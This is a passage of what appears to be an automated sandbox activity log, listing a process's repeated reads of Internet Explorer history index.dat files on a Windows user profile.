File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat, size = 8, size_out = 8 | 23 |
Fn
Data
|
|
File | Create | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE | 1 |
Fn
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 32, size_out = 32 | 1 |
Fn
Data
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, type = size | 1 |
Fn
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
